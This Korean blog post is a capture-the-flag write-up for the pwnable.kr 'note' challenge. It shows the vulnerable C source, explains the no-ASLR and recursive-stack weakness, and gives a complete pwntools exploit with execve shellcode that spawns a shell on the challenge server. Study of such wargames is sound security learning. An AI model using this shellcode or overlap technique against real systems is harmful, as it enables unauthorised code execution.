Pwnstar
Pwnable.kr note 본문
후 엄청 오래 걸렸던 문제인데 한 번 길이 보이고 나니 오히려 alloca 문제보다 쉬운 것 같다.
소스코드
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <unistd.h>
#define PAGE_SIZE 4096
void* mmap_s(void* addr, size_t length, int prot, int flags, int fd, off_t offset);
void* mem_arr[257];
void clear_newlines(void){
int c;
do{
c = getchar();
}while (c != '\n' && c != EOF);
}
void create_note(){
int i;
void* ptr;
for(i=0; i<256; i++){
if(mem_arr[i] == NULL){
ptr = mmap_s((void*)NULL, PAGE_SIZE, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
mem_arr[i] = ptr;
printf("note created. no %d\n [%08x]", i, (int)ptr);
return;
}
}
printf("memory sults are fool\n");
return;
}
void write_note(){
unsigned int no;
printf("note no?\n");
scanf("%d", &no);
clear_newlines();
if(no>256){
printf("index out of range\n");
return;
}
if(mem_arr[no]==NULL){
printf("empty slut!\n");
return;
}
printf("paste your note (MAX : 4096 byte)\n");
gets(mem_arr[no]);
}
void read_note(){
unsigned int no;
printf("note no?\n");
scanf("%d", &no);
clear_newlines();
if(no>256){
printf("index out of range\n");
return;
}
if(mem_arr[no]==NULL){
printf("empty slut!\n");
return;
}
printf("%s\n", mem_arr[no]);
}
void delete_note(){
unsigned int no;
printf("note no?\n");
scanf("%d", &no);
clear_newlines();
if(no>256){
printf("index out of range\n");
return;
}
if(mem_arr[no]==NULL){
printf("already empty slut!\n");
return;
}
munmap(mem_arr[no], PAGE_SIZE);
mem_arr[no] = NULL;
}
void select_menu(){
// menu
int menu;
char command[1024];
printf("- Select Menu -\n");
printf("1. create note\n");
printf("2. write note\n");
printf("3. read note\n");
printf("4. delete note\n");
printf("5. exit\n");
scanf("%d", &menu);
clear_newlines();
switch(menu){
case 1:
create_note();
break;
case 2:
write_note();
break;
case 3:
read_note();
break;
case 4:
delete_note();
break;
case 5:
printf("bye\n");
return;
case 0x31337:
printf("welcome to hacker's secret menu\n");
printf("i'm sure 1byte overflow will be enough for you to pwn this\n");
fgets(command, 1025, stdin);
break;
default:
printf("invalid menu\n");
break;
}
select_menu();
}
int main(){
setvbuf(stdout, 0, _IONBF, 0);
setvbuf(stdin, 0, _IOLBF, 0);
printf("welcome to pwnable.kr\n\n");
sleep(2);
printf("recently I noticed that in 32bit system with no ASLR,\n");
printf(" mmap(NULL... gives predictable address\n\n");
sleep(2);
printf("I believe this is not secure in terms of software exploit mitigation\n");
printf("so I fixed this feature and called mmap_s\n\n");
sleep(2);
printf("please try out this sample note application to see how mmap_s works\n");
printf("you will see mmap_s() giving true random address despite no ASLR\n\n");
sleep(2);
printf("I think security people will thank me for this :)\n\n");
sleep(2);
select_menu();
return 0;
}
// secure mmap
void* mmap_s(void* addr, size_t length, int prot, int flags, int fd, off_t offset){
// security fix: current version of mmap(NULL.. is not giving secure random address
if(addr == NULL && !(flags & MAP_FIXED) ){
void* tmp=0;
int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1) exit(-1);
if(read(fd, &addr, 4)!=4) exit(-1);
close(fd);
// to avoid heap fragmentation, lets skip malloc area
printf("addr before calc : 0x%x\n", addr);
addr = (void*)( ((int)addr & 0xFFFFF000) | 0x80000000 );
printf("addr after calc : 0x%x\n", addr);
while(1){
// linearly search empty page (maybe this can be improved)
tmp = mmap(addr, length, prot, flags | MAP_FIXED, fd, offset);
if(tmp != MAP_FAILED){
return tmp;
}
else{
// memory already in use!
addr = (void*)((int)addr + PAGE_SIZE); // choose adjacent page
}
}
}
return mmap(addr, length, prot, flags, fd, offset);
}
소스코드가 쫌 길다;;
이 문제의 취약점은 스택의 주소가 고정(No ASLR)이라는 점과 create_note 메뉴를 통해서 할당된 주소가 x권한이 존재한다는 점이다.
처음 이틀 간 방법을 찾지 못해서 쩔쩔맸었다. 그러다가 create_note 메뉴에서 mmap_s 함수를 통해서 랜덤하게 heap의 영역을 할당해주는데 할당 횟수에는 256회라는 제한이 있기는 하지만, delete 메뉴를 통해서 할당된 공간을 계속 해제해줄 수도 있다.
그러면 이 영역을 계속 할당해주다가 스택의 영역이랑 맞닿을 수도 있지 않을까?? 라는 생각을 하게 되었다.
그렇다면 처음에 0번에 할당을 해 줄때에 nop sled와 쉘코드를 넣어놓고, 1~255번의 heap 공간을 할당해줬다가 stack과 겹치지 않으면 전부 해제하고 다시 시작하는 방법으로 하면 가능할 것 같았다.
그러던 와중에 이상한 점을 하나 발견했는데
어떤 메뉴든 실행할 때마다 스택의 주소가 일정 값만큼 감소한다는 것이다.
처음 스택의 주소는 0xffffd7fc였는데, create note를 한번 실행하고 나니
0xffffcf9c로 변경되었다.
create note를 한 번 더 하고서 실행해보니 0xffffc73c로 변경되었다.
create note를 할 때마다 0x430씩 스택의 주소가 감소하는 것을 알 수 있었다.
이 문제를 풀 당시에는 이유를 알지 못했는데 문제를 풀고 다른 분들은 어떻게 풀었나 라이트업을 찾아보다가 그 이유를 알게 되었다.
select_menu를 보면 다른 메뉴들과는 다른 점이 하나 있었다. 보통은 while문을 써서 menu를 반복적으로 호출하게 하는데, 이 함수에서는 재귀적으로 자기 자신을 호출하도록 되어있었다.
이렇게 되면 메뉴가 실행될 때마다 스택을 계속해서 낭비하게 된다.
이 문제를 풀려면 알아야할 정보는 모두 알았다.
이제 코드를 짜 보자.
우선 처음 create를 해서 그 곳에 쉘코드를 넣을 것이다.
shell = "\x90"*20 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
eip = 0xffffd000
sleep(10)
#get the shellcode address
p.recvuntil("5. exit\n")
p.sendline("1")
p.recvuntil(" [")
shell_addr = int(p.recvuntil("]")[:-1], 16)
log.info("shellcode address = " + hex(shell_addr))
p.recvuntil("5. exit\n")
p.sendline("2")
p.recvuntil("note no?\n")
p.sendline("0")
p.recvuntil("paste your note (MAX : 4096 byte)\n")
p.sendline(shell)
스택의 주소를 eip = 0xffffd000로 잡아놓았는데 몇번을 실행해봐도 첫 스택의 주소가 0xffffd000 ~ 0xfffff000이었기 때문에 이렇게 잡았다.(NO ASLR 떄문에)
할당한 곳의 주소를 친절하게 알려주고, 우리는 스택의 주소 또한 정확하지는 않지만 예측이 가능하기 때문에,
while(1):
if cnt == 255:
cnt = 1
for i in range(1, 256):
p.recvuntil("5. exit\n")
p.sendline("4")
p.recvuntil("note no?\n")
p.sendline(str(i))
log.info("note no." + str(i) + " removed")
eip = eip - 0x430*254
log.info("restart")
p.recvuntil("5. exit\n")
p.sendline("1")
p.recvuntil(' [')
address = int(p.recvuntil(']')[:-1], 16)
if eip < address:
break
cnt += 1
all_trial += 1
eip -= 0x430
log.info("trial number (" + str(all_trial) + ") address = " + hex(address) + " eip = " + hex(eip))
이 반복문을 통해서 스택의 주소와 할당된 주소를 비교하여 할당된 주소가 스택의 주소보다 클 경우 조건에 부합하므로 반복문에서 빠져나오도록 해 놓았다.
#set ret to shellcode address
p.recvuntil('5. exit\n')
p.sendline('2')
p.recvuntil('note no?\n')
p.sendline(str(cnt))
p.recvuntil('paste your note (MAX : 4096 byte)\n')
p.sendline(p32(shell_addr) * 1024)
반복문을 빠져나온 이후에 정확한 ret 부분을 모르기 때문에 shell code 주소를 최대한으로 채워넣었다.
그리고 5번 메뉴를 통해 ret을 호출해주면 된다.
#go to ret
p.recvuntil("5. exit\n")
p.sendline("5")
전체 익스 코드
ex.py
from pwn import*
#context.terminal=['tmux', 'splitw', '-h']
#p = process("./note")
p = remote("pwnable.kr", 9019)
script = '''
b*0x08048997
b*0x080489a5
'''
#gdb.attach(p, script)
shell = "\x90"*20 + "\x31\xc0\x50\xba\x2e\x2e\x72\x67\x81\xc2\x01\x01\x01\x01\x52\xb9\x2e\x62\x69\x6e\x83\xc1\x01\x51\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
eip = 0xffffd000
sleep(10)
#get the shellcode address
p.recvuntil("5. exit\n")
p.sendline("1")
p.recvuntil(" [")
shell_addr = int(p.recvuntil("]")[:-1], 16)
log.info("shellcode address = " + hex(shell_addr))
p.recvuntil("5. exit\n")
p.sendline("2")
p.recvuntil("note no?\n")
p.sendline("0")
p.recvuntil("paste your note (MAX : 4096 byte)\n")
p.sendline(shell)
cnt = 1
#all_trial = 1
while(1):
if cnt == 255:
cnt = 1
for i in range(1, 256):
p.recvuntil("5. exit\n")
p.sendline("4")
p.recvuntil("note no?\n")
p.sendline(str(i))
log.info("note no." + str(i) + " removed")
eip = eip - 0x430*254
log.info("restart")
p.recvuntil("5. exit\n")
p.sendline("1")
p.recvuntil(' [')
address = int(p.recvuntil(']')[:-1], 16)
if eip < address:
break
cnt += 1
#all_trial += 1
eip = eip - 0x430
log.info("trial number (" + str(cnt) + ") address = " + hex(address) + " eip = " + hex(eip))
#set ret to shellcode address
p.recvuntil('5. exit\n')
p.sendline('2')
p.recvuntil('note no?\n')
p.sendline(str(cnt))
p.recvuntil('paste your note (MAX : 4096 byte)\n')
p.sendline(p32(shell_addr) * 1024)
#go to ret
p.recvuntil("5. exit\n")
p.sendline("5")
p.interactive()
이제 실행해보면
코드를 잘못 짰는지....가끔 에러가 난다. 그래도 몇번 시도하다보면
쉘을 땄는데 뭔가 이상하다ㅋㅋㅋ flag파일을 열수가 없다.
그래서 여기서 또 헤메다가
note_pwn 디렉터리로 가서 flag를 볼 수 있었다.
이건 진짜 다시는 못풀겠다.
'Pwnable.kr > Rookiss' 카테고리의 다른 글
pwnable.kr crypto1 (1) | 2020.09.15 |
---|---|
Pwnable.kr loveletter (0) | 2020.07.30 |
Pwnable.kr alloca (0) | 2020.07.29 |
Pwnable.kr rsa_calculator (0) | 2020.07.29 |
Pwnable.kr echo2 (0) | 2020.07.28 |